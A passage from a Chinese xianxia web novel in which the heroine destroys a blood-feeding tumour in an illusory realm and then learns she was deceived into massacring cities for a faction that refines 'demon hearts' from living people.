裂口内里，腥红一片，深处，似是炼狱深渊，无数像是血管一样的触手自那深渊处伸了出来，密密麻麻，缠住了数万糅杂在一起的活人，拉着他们往里，扯着他们埋入地面血泥。
裂口一开，此景，三人如何明白不过来。
这些，就是城中那疯了一般朝城主府涌去的百姓。
这些，都是活生生的人！
此事未完，心中义难平。毫不犹豫，三人势要再往里去。
然而这时，禾觅清却突然动手拦了他们。
“此境，只一人可入。”
“爹？”
“你们刚才动作太大，里头那位，我和老俞联手也只保得了一人。所以，你们三，谁去。”
三人对视，不到一秒，已有定数。
族人受尽欺压，宜东藏心中的恨让他对城中无辜百姓共情，他想去救出他们，但他虽想去，却也明白，他们三人中，如今实力到达元婴境的郑予时，是最合适的人选。
“郑予时，小心。”
“好……”
一声应下，突然，惊醒片刻的郑予时察觉到了不对的地方。
怎么感觉，被牵了鼻子？
禾觅清说，要来揭开真相，他和霍俞，带他们到这里做了这么多，却似乎与之无关。似乎，同这裂口打斗，也是他们引着他们，来的。
“走吧。”
禾觅清先行，霍俞紧跟其后。
两人均已入内，纵是心中疑惑再多，郑予时如今也不得不去了。毕竟，这个世界的秘密，她身上的秘密，还得靠他们，回答。
“郑予时加油，救救他们，带上我的那份！”
“还有我的！”
“好。”
不再犹豫，踏步，入境。
瞬间，眼前景象转瞬而变，原本是白昼的天，这会儿却红得成了鲜血淋漓的模样。
入内，脚往下陷，郑予时立马调动灵力附着其下，蔽了那地上吸食生人的血肉烂泥，看向禾觅清。
“当心。”
一言，回神。
眉心正处刺来一根腥红‘血管’。
郑予时横锅在前，一击，撞退了它。
“禾宗主，你带我到这儿，到底是想告诉我们什么。”
“马上你就会知道了。当心。”
话音刚落，不想刚刚才击退的那‘血管’竟是不依不挠，绕后击来。
郑予时皱眉，反手一甩，锅身飞掠，又一次将它揍了回去，然而顺势回来，在她没有注意到的地方，大锅擦耳而过，一击，借着冲回来的势头，撞飞了另外一根迎面直来的‘血管’。
这一次，有两根。
郑予时心里有一种不好的预感：这血管，不会，打回去了，就叠加再来吧……
思绪还没完全整理，只闻‘嗖’‘嗖’‘嗖’三声一出，内里深处，竟是冲来了三根！
好家伙，这怎么打？要不全烧了？
“这些红藤，是根据人面识别的。”
人面？
一提，郑予时看了过去，禾觅清依旧是释然立于身侧，只是他的视线却是稍稍落到了她腰上别的那副面具上。
对了！面具！
红藤刺来，郑予时眼疾
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手快，取下一戴，就在红藤即将刺入她眉心的前一刻，遮住了她的脸。
蓦地，攻势骤停，竟是真的如禾觅清所说那般，那三根来势汹汹的红藤迟疑不动，凝滞三息，转头间是直接缩了回去。
心下愕然：这玩意儿，有点高科技，人脸识别？可怕。
面具一带，再无偷袭，郑予时这才松了三分心神，意识到不对。
“禾宗主，为什么你和霍前辈，不用戴？”
双手一背，向前而去。
“你同我们，境界不同。”
“……”
得，她菜她认。但是……
“那禾宗主，此番为何带我入境解决此事？以你和霍前辈的实力，并不需要我来帮才是。”
“你帮？非也，我和老俞并不会插手你们的事。”
他们的，事？
见郑予时疑惑，禾觅清好心提醒。
“这里，是百年前的纪云城。这事，入境时我便同你们讲过。”
“城中，或是幻境，或是真实，这些皆由你们自己判定，也皆由你们自主行径。”
“所以，入此境，需要动手解决此事的人，是你，而并非我和老俞。我们二人，不过是怕你死了，进来保你一命而已。”
这一番言论，说得半点儿不心虚。
郑予时听得又是想哭又是想笑，合着，是她误会了他的意思，自作多情地要拯救这幻境中的人了？
“……”
心情十分微妙，但刚刚城下的那一幕以及现在就在眼前的尸山血海都太过真实了，真实到，哪怕是如今得知这只是一方幻境，她也仍想，试上一试。
哪怕，只救得回那一两人，哪怕她的所有行为苦心，只是一场荒诞玩笑。
“禾宗主，霍前辈。我去了。”
驭灵而行，没有‘血管’的威胁，郑予时向前的路，畅通无阻。
行至内里最深处，是一个巨大的肉瘤质的恶心皱团。
它的身上连接了数以万计的‘血管’，张开，插入外头那些被控住了的百姓体内，吸食、吸食。
鲜血生息，源源不断地通过那些‘血管’吸入它的体内，渐渐地，肉瘤它，更大了。
不行，不能直接攻击它。
郑予时赶忙收回掷出去的大锅，后撤落地。
以目前情况来看，若是她攻它，一但受伤或是苏醒，那么它势必会疯狂吸食外头百姓的生命力，来补充自己。到时候，死的人会更多。
所以，得先斩断了他们的联系！
但！血管是人脸识别，她手头没有这么多面具怎么办？难不成要……
有了！
丹田暗红引出，渡入大锅。
转瞬，郑予时退出最深之处，她一拍锅底，以全身所有的灵力强势控了那暗红，附着、割裂，霎时，只见那原本只碎成块状的锅片，在这一刻，竟是被那暗红碎得更小、更粉了些。
由暗红牵引，由碎锅做刃。
郑予时压榨着体内为数不多的灵力招来，千丝而出，千片而割，瞬间，灵暴而动，在近乎是同一时刻，割断了这方境内所有吸食着生人的恶心‘血管’。
满片境内，满空牵引的‘血管’，犹如断线风筝的那线，飘然，坠落。
失去补给，肉瘤萎靡，其上，境内正空，裂了一道缝。
腥红从上而下，渐渐褪了去，消散不见。
外头，是蓝蓝的天。
天上，是软软的云。
一击，郑予时灵力耗竭，然而就在她要摔到地上的瞬间，大锅它，接住了她。
锅耳挂着她衣服的后领，一飞冲天。
出了那境，没想到，她，竟是在不知不觉间随着那境内变动，到达了城主府的上空。
那境灭了，那境内的人是不是都得救了呢？
怀着事情完结的释然心情低头看去，但一眼，底下城内的场景，却叫她瞬间，血液凝结。
城内，血流成河。
那本是热闹着叫卖的大街小巷，此刻，密密麻麻挤满了的，是血红布衣裹身的百姓，是甲胄着身的士兵。而他们，头颅斩去，残肢断臂，那洒了满地的血水，揉着的全是他们。
尸体断口、脖颈切口，那熟悉的伤痕，那熟悉的灵力，是她，是她刚刚那一击斩断血管的手段！
这……
郑予时慌了神，然而视线一扫，满城尸海中，她瞧见了一个被血溅花了脸的小女孩儿。
她是，刚刚街上，他们遇到的那个小团子。
童童！？
郑予时不知道这到底是怎么回事，但她想去找她，想把她从尸海中救出来，然而她还没来得及动，小团子却是仰头，看了过来。
那是一双怎样的眼睛啊，血丝充斥，近乎见不得一点儿白和黑。
那是一双，充满了仇恨的眼睛。
“啊！啊！啊！”
“禾觅清！你竟然带人屠城！你竟然带人屠城！”
“疯子！你们全部都是疯子！我姜茹以命起誓，此生此世，生生世世，哪怕是堕魔成鬼，我也一定要杀了你！杀了你！为这一城百姓士兵，为我将军阿辞报仇雪恨！”
什、么！？
她，她是姜茹！姜茹！
底下姜茹声嘶力竭，她一吼，郑予时心惊的同时只觉身后一股极其强大的灵力冲来，砸下，瞬间绞碎了姜茹那小小的身体。
碎尸绞烂的画面，心口一颤，郑予时简直不敢相信自己的眼睛。
她僵着，回身望去，果然，见到了那同样和自己一般，立于空中的禾觅清和霍俞两人。
刚刚一击，禾觅清身上的灵力并未平复，他，他杀了姜茹！
杀人、屠城……百年前纪云城一战，这……
空中冷风吹起发梢，一拂，遮了眼。
郑予时抬手去拨，触及，微凉、坚硬。
面具。
瞬间，郑予时感受到自己全身的血液都凝固了。她，似乎，想起了什么。
第一次入纪云城，那密室的壁画，仙人绞杀凡人的那场征战之中，背后，有一副青面獠牙。
指尖微颤，她取下了面上戴的这副，翻了过来。
入目，青面，獠牙。半点不差。
指尖一抖，面具，落空，‘叮’的一声砸在地上，碎成两半。
郑予时满眼惊恐无措，她整个人都发着抖，眼尾腥红，眼中滚泪。
她，她刚刚到底做了什么！
百年纪云城一战，禾觅清一伙，背后指引屠城的青面獠牙……所有的所有，在这一刻，如此清晰。
杀人的修者，屠城的人。
是她，是她！
40. 第 40 章
“郑予时！”
街尾那头，禾欢欢高声一呼，喊了人。
境破之后，冲入城中的禾欢欢和宜东藏自然也见到了这满城血色尸海，奔赴而来，他们自然也听到了姜茹的嘶喊。
这里的震撼同样叫禾欢欢两人接受不得，然而在看到那城主府上近乎是丢了魂的郑予时时，禾欢欢第一时间，喊了她。
“郑予时！”
两声，眼中的神，回了些。
郑予时闻声看去，一眼，泪水滚落。
“禾欢欢……”
人来，禾觅清衣袖一挥，挥散了城内满目腥红。
落地，禾欢欢上前奔来，撑住了她。
“爹，这到底是怎么回事？百年前……”
“欢儿。先入府。”
禾觅清阻了禾欢欢的话，虽是爱子，然他们现在要做的事，就是解释，也更重要。
入府，入院。
意外的，禾觅清和霍俞却是带着他们去到了另外一个偏僻地方。
入地、下道，不知行了多久，只觉密道两边火光一闪，他们进入到了另一个密室之中。
密室摆放，有桌椅有餐食，角落，坐着两个人。
“若安？你……”
声音一断，火光跳跃下，禾欢欢看清了那坐在禾若安身侧的另一人。
一声惊呼。
“姜茹！怎么是你！？”
禾欢欢的震惊无异也是郑予时和宜东藏的震惊。
百年一战中的姜茹刚刚死在了他们面前，数日前纪云城亡灵阴谋时的姜茹死在了禾觅清的手下，但，现在，她却好端端的出现在他们的面前，甚至，还是禾觅清带着他们来的！
这！
“人齐了。走吧。下城。”
下城？
这一刻，纵是心底疑惑再多，郑予时也不得不佩服禾觅清的控场及镇定。
刚刚‘屠杀’的冲击画面仍历历在目，郑予时聪明地没有多问，她拉了一边将难以置信、极度不满全写在脸上的禾欢欢，跟随而下。
她想，这下头，或许就是一切的答案了吧。
关于纪云城的，关于姜茹的，关于她的，甚至是关于，宜东藏的。
下地下城，幽暗过后，入目的是满眼焰火。
一圈、一圈，延绵而下，向着那地底最内最深的地方引渡而去。而每一个焰火底下，灼烧着的，是刚刚境中她才见过的那恶心肉瘤。一蠕、再蠕，扭动狰狞。
“这是什么？”
“养料。”
养料？
禾觅清的解释简短但十分鲜明，随着他一声落下，底下圈层转动，一滚，最内的那一个肉瘤往里挤压，‘砰’的一声，瞬间，炸成血肉揉了进去那最深不可勘的地方。
城门境中，吸食了数万生人血肉才长成的肉瘤子，竟然只是万千养料中的一个。
那最底下的，到底养着的是什么！？
禾觅清大袖再挥，只见层层焰火肉瘤顷刻之间会飞烟散，唯留下那火光点缀其中。而瘤子不见，最内那处似是察觉，屏障打开，黑暗褪去，竟是出来了一颗，咚咚跳动着的，鲜红心脏。
心……脏？
万千肉瘤滋补的东西，竟是一颗心脏？这是……
不等郑予时再想，一直不多解释的禾觅清这次却不再停缓。
“这就是，真相。”
层层肉瘤不在，众人向下而去。
路上，禾觅清说，郑国国主，岁数将近，但他，偏想要长生。
所以，引了魂，炼了心，想要成仙成神，永世不灭。
他是一国之君，是万世天子，他以全国性命，喂养自己的私心欲念，以数百万子民血肉，炼制魔刹之心，达永生之境。
郑国国君，嗜杀、炼魔，已然违背道德伦理，触犯修界禁忌。
所以，纪云城一战，并不只是单纯的国战，而是修界必须下场处理的世乱。
所有郑国人，均被郑国国主炼成了供养魔心的养料。百年前，应当时统领修界的西疆域号召，禾觅清他们到此，不是要屠城，而是要，屠国。
听到这儿，禾欢欢的眼睛都瞪圆了。
怪不得！怪不得民间故事里都说纪云城一战后郑国再无才人，节节战败，终灭国。
原来，是，是……
剩下的话，禾欢欢说不下去，也不愿再想下去。世间秩序，修者调配，到底，是对还是不对。
入至地底，面前十米开外，是那颗鲜红跳动的心脏。
禾觅清带着他们停了下来，他一拂手，瞬间，像是又入境中，众人眼前地下城中的景象竟是换了一遭。
这，是百年前纪云城一战之后的郑国界地。
这，是另一城。
同样，尸山血海。
再拂，再换一城，又是一模一样的血流成河，尸块遍地。
共三十六次屠杀，共三十六座城池，数不胜数的性命，一夜之间，身死命陨。
鲜血淋漓的场景，战火连天的凄悲，郑予时看得难受至极。
这，就是所谓的，为了世间的秩序吗……
三十六场幻境逐渐褪去，一声疑问，却道出了郑予时在意，却并不敢去深想的真实。
“爹，为什么，为什么那些百年前的幻境里，都有一个带着青面獠牙面具的人呢？刚刚纪云城中的幻境，是郑予时带着面具体验了一次，那当时真正和你们一起……一起清理的，又是谁呢？”
禾欢欢发问，众目睽睽，禾觅清的视线却不偏不倚，落到了郑予时的身上。
“郑予时。是她。”
“一直以来，都是她。”
其实不用禾觅清说，三十六座城池幻境再现，如今回想，往忆回笼，郑予时清楚，她都是来过的。
一如初次去往西疆域时，那石像底下的留言一般。
这些地方，她都曾来过。这些地方，她都曾在师傅开辟的一方秘境中，早早地便，来过了。
只是其中历练，出境后她都只依稀记得些模糊轮廓，师傅说，这是秘境历练向来的副作用，为的是稳住修者道心。
她信了。
可现在……所有，所有的一切，她都想起来了。
三十六座城，数百万城民士兵，都是她，亲手，杀死的。
是她，是，她……
可她只以为是除魔历练啊，她只以为是秘境历练的虚影幻境啊，在她犹豫不忍的时候，师傅告诉她，说，这一切都是假的啊！
但，抽出其中，再看，却是那么的清晰了然。
这分明，他们分明，都是活生生的人啊！
郑予时想不明白，她不明白师傅为什么要这么骗她，她不知道要如何面对这残忍的一切，然而，禾觅清接下来的话却毫不留情地将剩下的事实全都甩到了她的面前，叫她不得不，直视面对。
“郑予时。你师傅拜托我的事，我一一讲述给你了。剩下的路，你得自己走才行。”
“什么是幻境，什么是真实。现在，你看得清了吗。”
不知道郑予时看没看清，但一边一直瞪圆了眼睛的禾欢欢绝对是看不清的。
她想问为什么明明是百年前的事情，郑予时却在。对此，禾觅清无奈，但瞧着自家女儿渴望的眼睛，最终，还是又多答了一句。
“这，是天命。”
“天命，可违、不可违，亦如所思真与假。欢欢，适可而止。”
缩头闭嘴，得了便宜，禾欢欢也不再为难她爹。
只是看着事情似乎都结束了，真相也都落定了，有一件事她还是想不明白。
“可是爹，这不是纪云城、郑国一事的真相吗？若说你是因为接收了西疆域的命令而去，其中又牵扯了郑予时，那大师兄呢？这件事情好像和他没有关系呀？”
说到这儿，宜东藏的眼神暗了些。
个中奥秘，恐怕只有他自己清楚。
禾觅清手势伸出，最终还是没忍心在禾欢欢的脑门儿上弹下脑蹦儿。
“郑国国君为了长生，炼了魔心。天玄下掌门年限已到却仍未入大乘，他，同样怕死。”
“天玄下？”
疑问吐出，一愣，禾欢欢惊呼而出。
“之前山间神火覆落，因神火灭门的天玄下，竟然也是用活人炼了魔心的！？这也太，太，太不要脸了吧！怪不得引天怒呢！”
禾欢欢的惊叹止不住，然而再往下，禾觅清却看向了宜东藏，不言。
宜东藏自然懂禾觅清想的什么。深吸一口，缓缓道来。
“不是引天怒，而是被人屠。”
“不只是郑国国君和天玄下，无垠海，也是。”
是，是什么？
！
难道无垠海底下，也是炼了这东西的！？
“郑国也好，天玄下也罢，个人贪念，还是被害屠族，其中缘由我并不知晓也并不想猜，但无垠海是我的家，无垠海底的魔心，不是我族贪婪想生，而是因为地势，因为天时地利的地势，被恶徒瞧上。”
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>“在我很小的时候，阿爹阿娘同我说过，说海底有一处寒潭，潭底，流火迸燃，是孕育凤火之地。那里，是我们鲲兽一族，乃至整个海族誓死守护的圣地。”
凤火？那是什么？
“之前我不明白，不明白为什么西疆域突然攻打了无垠海，不明白为什么他挟持了我所有的族人却不斩杀干净，偏偏牵制着，圈养着，说只要我们听话、臣服，就能活。”
“放屁！全都是狗屁！”
“现在，我懂了。”
“西疆域，他，要的，是凤火，是那洞天福地，是我族所有兽人的性命去炼那什么该死的魔心！”
宜东藏的情绪瞬间激动起来，眼疾手快，禾欢欢立马牵绳一甩，套了他，稳住了他的人形。
“师兄，冷静，冷静，咱慢慢说。”
“……”
深吸一口，跟着禾欢欢的动作调整呼吸。
然而越是清醒，宜东藏心里的恨就越深，怨就越浓。
“禾觅清，为什么要做西疆域的走狗，为什么要帮着他们监禁我的族人。我尊你，敬你，我听你的话守着禾欢欢，保她护她，可你为什么！为什么不救我的族人，为什么不救我的阿爹阿娘！”
“为什么，你说话啊，为什么！”
“天命。”
“去他的天命！”
“欸小鱼崽子，嘘。”
霍俞出声，一指，噤了宜东藏的声，他摇着手指虚虚往天上，一副不可说的模样。
禾觅清依旧面色如常，只是眼底划过的一抹异样还是显出了他内心的动荡。
郑予时不是无垠海的子民，她的亲人族人没有被囚禁屠杀。
虽然她仍被这一切事实震到心颤，但站在无垠事外，她看得清。她也想，帮宜东藏看清。好让他，不再那么痛。
“郑国国君，一国之君，若步入修行那便是违背了修者不耽政事的规则，但偏偏，他将计划蔓延到全郑国上下都无人察觉，这不对。”
“所以，我想，郑国国君炼心的背后，有人助力。或者说，有人想假借他的手，得心，永生。”
眉尾轻挑，禾觅清和霍俞相视一望。
“那你觉得，背后，是谁。”
“西疆域。”
得到应首，然郑予时却不停，继续道。
“我想不只郑国炼心，天玄下，无垠海，甚至还可能有更多我们尚且未知的人或事，都是西疆域的私心。”
“告知魔心可永生的消息，助力他人炼制魔心，但其背后，想要魔心的最大势力，是西疆域。”
“我和禾欢欢他们曾在西疆域见过天玄下的魏裘，如今，他入了西疆域麾下。”
“魏裘是天玄下掌门捡回的弃子，是天玄下数一数二的高手，纵是山间神火灭门，我想，他绝不会连一眼都不会去瞧，连一点半分复兴天玄下的心都没有，就这么巧，这么随意的便入了西疆域。”
话音一顿，郑予时看向一边不能说话的宜东藏，继续道。
“所以我猜，当初天玄下被灭门，西疆，必定参了一手。所以魏裘才会在。”
“郑国也好，天玄下也罢，甚至是无垠海，这所有的所有，既得利益者都是西疆域，这一切不过都是西疆域自导自演的，局。我想，魔心，西疆域也想要，且，要得极多。”
三人一同入西疆又一同出西疆，郑予时想得到的，自然宜东藏也能察觉。
显然，这些，正是他刚刚情绪失控的原因。
只是，这些，似乎并不是所有的真相。
“如今西疆域的主人，是霍弘，但霍弘境界刚有小成，按理，岁寿并未将尽，魔心若真是永生之物，那于他来说，并无大用，且只一位霍弘，并不可能让禾宗主您甘愿助他行事。”
“所以我猜，西疆域背后，那真正需要魔心续命的，另有人在。”
！
这一遭下来，禾欢欢脑子快要过载。然而她转不过来，一直跟在一边的姜茹却是看得明白。
“是霍百川。西疆域的前宗主，霍弘早早死掉的二爷。”
“当初在纪云城助我炼化煞气成型，助我养育士兵亡魂替换生人的人，是他。呵，可笑。凡人不问修界，我一直记恨灭了我国的你们，却看不清、识不得那背后的畜生。还是……还是禾觅清救下我后，我才明白。”
“为了所谓修界正义，当初要我们死的是他，现在光死还不够，竟要我们又再活过来，重新再献祭一次血肉替他炼心。”
“呸。狗畜生。”